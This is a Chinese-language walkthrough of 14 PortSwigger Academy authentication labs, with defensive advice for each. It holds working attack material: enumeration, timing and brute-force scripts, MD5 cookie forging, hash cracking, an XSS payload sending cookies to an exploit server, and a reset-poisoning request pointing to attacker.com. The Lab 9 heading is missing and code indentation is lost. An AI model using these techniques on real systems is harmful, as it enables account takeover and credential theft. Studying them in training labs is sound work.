# PortSwigger 身份认证漏洞解题攻略

# 概述

本文基于 PortSwigger Academy 身份认证漏洞实验,详细解析 14 个实验的具体解题过程和技术原理。每个实验都包含实际的解题步骤、Burp Suite 操作细节以及背后的安全原理,帮助读者深入理解身份认证漏洞的成因和利用方法。

# 实验环境准备

# 必备工具

  • Burp Suite Professional:用于拦截、分析和修改 HTTP 请求
  • 有效用户名密码字典:PortSwigger 提供的实验凭据
  • 浏览器插件:Cookie Editor、User-Agent Switcher 等

# 实验账户信息

根据实验要求,使用 PortSwigger 提供的测试账户:

  • 用户名列表:包含各种常见用户名
  • 密码列表:包含弱密码和常见密码组合

# 实验解题详解

# Lab 1: Username enumeration via different responses

实验目标:通过不同的响应枚举用户名

# 解题步骤

  1. 信息收集:实验提供了可能的用户名和密码列表
  2. Burp Suite 拦截:拦截登录请求,发送到 Intruder 模块
  3. 设置攻击载荷
    • Payload 类型:Simple list
    • Payload 位置:username 参数
    • 载荷内容:提供的用户名列表
  4. 执行攻击:使用固定密码测试所有用户名
  5. 分析响应:观察 HTTP 状态码和响应内容差异

# 技术原理

应用程序对有效和无效用户名返回不同的响应特征:

  • 无效用户名:返回特定错误消息
  • 有效用户名:返回不同的错误消息或状态码

# 关键代码示例

1
2
3
4
5
POST /login HTTP/1.1
Host: target.com
Content-Type: application/x-www-form-urlencoded

username=carlos&password=invalid

# 检测指标

  • HTTP 状态码变化
  • 响应长度差异
  • 错误消息内容差异

# Lab 2: 2FA broken logic

实验目标:绕过双因素认证逻辑,访问 Carlos 账户

# 解题步骤

  1. 分析登录流程

    • /login1 :验证用户名密码
    • /login2 :发送和验证验证码
    • 访问 /login2 时携带 cookie
  2. 漏洞发现:验证码发送逻辑存在缺陷

    • verify 参数值为 carlos 时,向 Carlos 邮箱发送验证码
    • /login2 的验证码验证没有限制,可以爆破
  3. 攻击实施

    1
    2
    3
    4
    5
    6
    POST /login2 HTTP/1.1
    Host: target.com
    Cookie: session=xxxxx
    Content-Type: application/x-www-form-urlencoded

    mfa-code=1234&verify=carlos

  4. 爆破验证码:使用 Intruder 模块爆破 4 位数字验证码

# 技术原理

双因素认证实现存在逻辑缺陷:

  • 验证码发送与验证逻辑分离
  • 缺少验证码尝试次数限制
  • 用户参数可被操纵

# 防护建议

  • 实施验证码尝试次数限制
  • 验证码与用户会话绑定
  • 添加验证码有效期限制

# Lab 3: Password reset broken logic

实验目标:利用密码重置逻辑缺陷重置 Carlos 密码

# 解题步骤

  1. 分析密码重置流程

    • 发起密码重置请求
    • 接收重置链接
    • 提交新密码
  2. 漏洞发现:重置密码的最后阶段,请求参数中包含 username 参数

  3. 攻击实施

    1
    2
    3
    4
    5
    POST /reset-password-confirm HTTP/1.1
    Host: target.com
    Content-Type: application/x-www-form-urlencoded

    username=carlos&new-password= hacked123&confirm-password=hacked123

  4. 验证成功:使用新密码登录 Carlos 账户

# 技术原理

密码重置功能存在逻辑漏洞:

  • 重置确认阶段未验证用户身份
  • 用户名参数可被客户端修改
  • 缺少重置令牌验证

# 防护建议

  • 使用安全的重置令牌
  • 验证令牌与用户身份的绑定关系
  • 限制重置令牌使用次数和有效期

# Lab 4: Username enumeration via subtly different responses

实验目标:通过细微响应差异枚举用户名

# 解题步骤

  1. 响应差异分析

    • 无效用户名: Invalid username or password
    • 有效用户名: Invalid username or password. (末尾多一个点)
  2. 枚举用户名

    • 使用 Intruder 测试所有用户名
    • 观察响应末尾是否有额外字符
  3. 密码爆破

    • 获得有效用户名后
    • 使用字典爆破密码

# 技术原理

应用程序存在信息泄露:

  • 错误消息的细微差异暴露用户名有效性
  • 响应内容的不一致处理

# 检测脚本示例

1
2
3
4
5
6
7
8
9
10
import requests

def check_username_validity(base_url, username):
data = {'username': username, 'password': 'test123'}
response = requests.post(base_url, data=data)

if response.text.endswith('. '):
return True # 有效用户名
else:
return False # 无效用户名


# Lab 5: Username enumeration via response timing

实验目标:通过响应时间差异枚举用户名

# 解题步骤

  1. 添加 XFF 头:在请求中添加 X-Forwarded-For

    1
    X-Forwarded-For: 1.2.3.4

  2. 时间差异观察

    • 用户名正确时,密码越长响应时间越长
    • 用户名错误时,响应时间基本固定
  3. 枚举攻击

    • 使用长密码测试每个用户名
    • 记录响应时间,识别有效用户名

# 技术原理

基于时间差的侧信道攻击:

  • 有效用户名触发完整的密码验证流程
  • 密码哈希计算时间与密码长度相关
  • 无效用户名跳过密码验证步骤

# 攻击脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
import time
import requests

def timing_attack_enumeration(base_url, usernames):
long_password = 'a' * 50 # 使用长密码放大时间差异

for username in usernames:
start_time = time.time()

response = requests.post(base_url, data={
'username': username,
'password': long_password
}, headers={'X-Forwarded-For': '1.2.3.4'})

response_time = time.time() - start_time

if response_time > 2.0: # 阈值根据实际情况调整
print(f"[+] 有效用户名: {username} (响应时间: {response_time:.2f}s)")


# Lab 6: Broken brute-force protection, IP block

实验目标:绕过 IP 封锁的暴力破解保护

# 解题步骤

  1. 分析保护机制

    • 登录失败 3 次后封锁 IP
    • 在 IP 被封锁前成功登录可重置计数器
  2. 双线程攻击策略

    • 线程 1:使用已知正确密码登录,重置失败计数器
    • 线程 2:爆破目标用户密码
  3. 实施步骤

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    # 线程1:重置计数器
    def reset_counter():
    requests.post('/login', data={'username': 'validuser', 'password': 'correctpass'})

    # 线程2:爆破密码
    def brute_force():
    for password in password_list:
    response = requests.post('/login', data={'username': 'carlos', 'password': password})
    if 'success' in response.text:
    print(f"[+] 找到密码: {password}")
    break

# 技术原理

暴力破解保护机制存在竞态条件漏洞:

  • 失败计数器基于 IP 而非用户
  • 成功登录会重置整个 IP 的失败计数
  • 缺少全局速率限制

# 防护建议

  • 实施基于用户和 IP 的组合限制
  • 使用滑动时间窗口计数
  • 添加渐进式延迟机制

# Lab 7: Username enumeration via account lock

实验目标:通过账户锁定机制枚举用户名

# 解题步骤

  1. 触发账户锁定

    • 对多个用户名进行多次失败登录尝试
    • 观察哪些用户名被锁定
  2. 识别有效用户名

    • 被锁定的用户名为有效用户名
    • 未被锁定的用户名无效
  3. 密码爆破

    • 等待锁定时间过后
    • 对有效用户名进行密码爆破

# 技术原理

账户锁定机制的信息泄露:

  • 只有有效账户才会被锁定
  • 锁定状态可通过错误消息识别
  • 锁定时间可被利用进行枚举

# 攻击流程

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
def enumerate_via_account_lock(base_url, usernames):
locked_users = []

for username in usernames:
# 触发多次失败登录
for i in range(10):
response = requests.post(base_url, data={
'username': username,
'password': f'wrong{i}'
})

if 'account locked' in response.text.lower():
locked_users.append(username)
print(f"[+] 账户已锁定: {username}")
break

return locked_users


# Lab 8: 2FA simple bypass

实验目标:简单绕过双因素认证

# 解题步骤

  1. 分析登录流程

    • /login :用户名密码验证
    • /login2 :验证码验证
    • /my-account :用户账户页面
  2. 漏洞发现

    • 在 Carlos 接收验证码时
    • 直接访问 /my-account 可跳过验证码验证
  3. 攻击实施

    1
    2
    3
    4
    5
    6
    7
    # 步骤1:正常登录
    POST /login HTTP/1.1
    username=carlos&password=carlospass

    # 步骤2:直接访问账户页面
    GET /my-account HTTP/1.1
    Cookie: session=xxxxx

# 技术原理

认证流程存在逻辑缺陷:

  • 会话状态验证不完整
  • 缺少 2FA 完成状态检查
  • 直接访问受保护页面绕过验证

实验目标:暴力破解 "保持登录"Cookie

# 解题步骤

  1. Cookie 结构分析

    • Cookie 格式: username:password_md5
    • 示例: carlos:5f4dcc3b5aa765d61d8327deb882cf99
  2. 获取用户名:通过其他方式获取目标用户名

  3. MD5 字典攻击

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    import hashlib

    def generate_cookie(username, password):
    password_md5 = hashlib.md5(password.encode()).hexdigest()
    return f"{username}:{password_md5}"

    # 测试常见密码
    common_passwords = ['password', '123456', 'admin', 'qwerty']
    for pwd in common_passwords:
    cookie = generate_cookie('carlos', pwd)
    # 测试Cookie有效性

# 技术原理

"保持登录"Cookie 实现不安全:

  • 使用可逆的密码哈希
  • Cookie 结构可被猜测
  • 缺少额外的签名验证

# 防护建议

  • 使用强随机生成的令牌
  • 添加 Cookie 签名验证
  • 实施令牌有效期限制

# Lab 10: Offline password cracking

实验目标:离线密码破解

# 解题步骤

  1. 获取 Cookie:通过 XSS 攻击获取用户 Cookie

    1
    2
    3
    <script>
    document.location='https://exploit-server.net/exploit?cookie='+document.cookie;
    </script>

  2. 分析 Cookie 内容:提取哈希值

  3. 离线破解

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    import hashlib
    import itertools

    def crack_hash(target_hash, charset, max_length):
    for length in range(1, max_length + 1):
    for combination in itertools.product(charset, repeat=length):
    password = ''.join(combination)
    if hashlib.md5(password.encode()).hexdigest() == target_hash:
    return password
    return None

# 技术原理

离线攻击利用:

  • 获取密码哈希后可本地破解
  • 不受在线速率限制影响
  • 可使用字典和暴力攻击

# Lab 11: Password reset poisoning via middleware

实验目标:通过中间件投毒密码重置

# 解题步骤

  1. 漏洞发现:应用支持 X-Forwarded-Host

  2. 攻击实施

    1
    2
    3
    4
    5
    POST /forgot-password HTTP/1.1
    Host: target.com
    X-Forwarded-Host: attacker.com

    username=carlos

  3. 结果:重置链接指向 attacker.com 而非合法域名

# 技术原理

HTTP 头注入漏洞:

  • 中间件信任客户端提供的 Host 头
  • 重置链接生成时使用恶意 Host
  • 缺少 Host 头验证

# 防护建议

  • 验证和规范化 Host 头
  • 使用硬编码的域名生成链接
  • 实施 CSP 头部保护

# Lab 12: Password brute-force via password change

实验目标:通过密码修改功能暴力破解

# 解题步骤

  1. 分析错误消息

    • 新密码不一致且当前密码正确: New passwords do not match
    • 当前密码错误: Current password is incorrect
  2. 攻击实施

    1
    2
    3
    4
    POST /change-password HTTP/1.1
    Cookie: session=xxxxx

    current-password=test123&new-password=newpass1&confirm-password=newpass2

  3. 爆破当前密码

    • 使用 Intruder 模块
    • 观察响应消息差异

# 技术原理

密码修改功能的信息泄露:

  • 错误消息暴露当前密码有效性
  • 缺少统一的错误处理
  • 可用于验证当前密码

# Lab 13: Broken brute-force protection, multiple credentials per request

实验目标:绕过暴力破解保护(多凭据请求)

# 解题步骤

  1. 分析请求格式:使用 JSON 传输密码

  2. 攻击载荷修改

    1
    2
    3
    {
    "password": ["pass1", "pass2", "pass3", "pass4", "pass5"]
    }

  3. 绕过机制:单次请求测试多个密码

# 技术原理

暴力破解保护实现缺陷:

  • 保护机制基于请求数而非密码尝试数
  • 数组处理逻辑绕过计数器
  • 缺少输入验证和规范化

# 防护建议

  • 实施基于密码尝试次数的限制
  • 验证输入数据格式
  • 添加请求大小限制

# Lab 14: 2FA bypass using a brute-force attack

实验目标:通过暴力攻击绕过 2FA

# 解题步骤

  1. Burp Suite 宏配置

    • 创建 Session Rule
    • URL Scope 选择 All
    • 配置宏处理登录流程
  2. 宏录制

    • 手动完成一次完整登录: /login/login2
    • 选择对应的数据包
    • 测试宏是否返回 200 状态码
  3. Intruder 设置

    • 设置单线程攻击
    • 配置验证码爆破载荷
    • 启动攻击

# 技术原理

2FA 实现缺陷:

  • 验证码验证缺少速率限制
  • 会话管理不当
  • 可被自动化工具绕过

# Burp Suite 配置详细步骤

  1. 创建宏

    1
    2
    Project Options → Sessions → Session Rules → Add
    Rule Type: "Run a macro"

  2. 录制宏

    1
    2
    3
    Macro Recorder → Record macro
    执行:POST /login → POST /login2
    选择相关请求

  3. 配置 Intruder

    1
    2
    3
    Positions: 选择mfa-code参数
    Payloads: Numbers 0000-9999
    Options: Single thread, Request delay 100ms

# 通用攻击技巧总结

# 1. 信息收集技巧

  • 错误消息分析:仔细观察所有响应差异
  • 响应时间测量:使用时间差进行侧信道攻击
  • HTTP 头分析:检查所有请求和响应头

# 2. Burp Suite 高级技巧

  • 宏使用:自动化复杂的多步骤认证流程
  • Session Rules:维护会话状态
  • Intruder 配置:优化攻击效率和隐蔽性

# 3. 暴力破解优化

  • 智能载荷选择:基于目标特征选择密码字典
  • 速率控制:避免触发防护机制
  • 多线程协调:绕过基于 IP 的限制

# 防御策略建议

# 1. 认证逻辑安全

  • 统一错误消息处理
  • 实施严格的速率限制
  • 使用安全的会话管理

# 2. 多因素认证

  • 实施验证码尝试限制
  • 绑定验证码与会话
  • 使用时间限制和一次性使用

# 3. 密码管理

  • 强制使用强密码策略
  • 实施密码重置令牌
  • 定期密码更新要求

# 4. 监控和检测

  • 记录详细的认证日志
  • 实施异常行为检测
  • 建立实时告警机制

# 结语

通过这 14 个实验的解题过程,我们深入了解了身份认证漏洞的各种形态和利用技巧。每个实验都展示了不同的安全缺陷,从信息泄露到逻辑绕过,从暴力破解到会话劫持。

理解这些漏洞的原理和利用方法,有助于我们:

  1. 识别安全风险:在实际应用中发现类似漏洞
  2. 实施有效防护:构建更安全的认证系统
  3. 提升安全意识:理解攻击者思维模式

个人认为,安全是一个持续的过程,需要不断学习、测试和改进。只有将安全意识融入到系统设计和实现的每个环节,才能有效保护用户数据和系统安全。


免责声明:本文仅用于教育和研究目的,请勿用于非法攻击活动。所有实验应在授权环境中进行。

已有0条评论
  • 快来做第一个评论的人吧~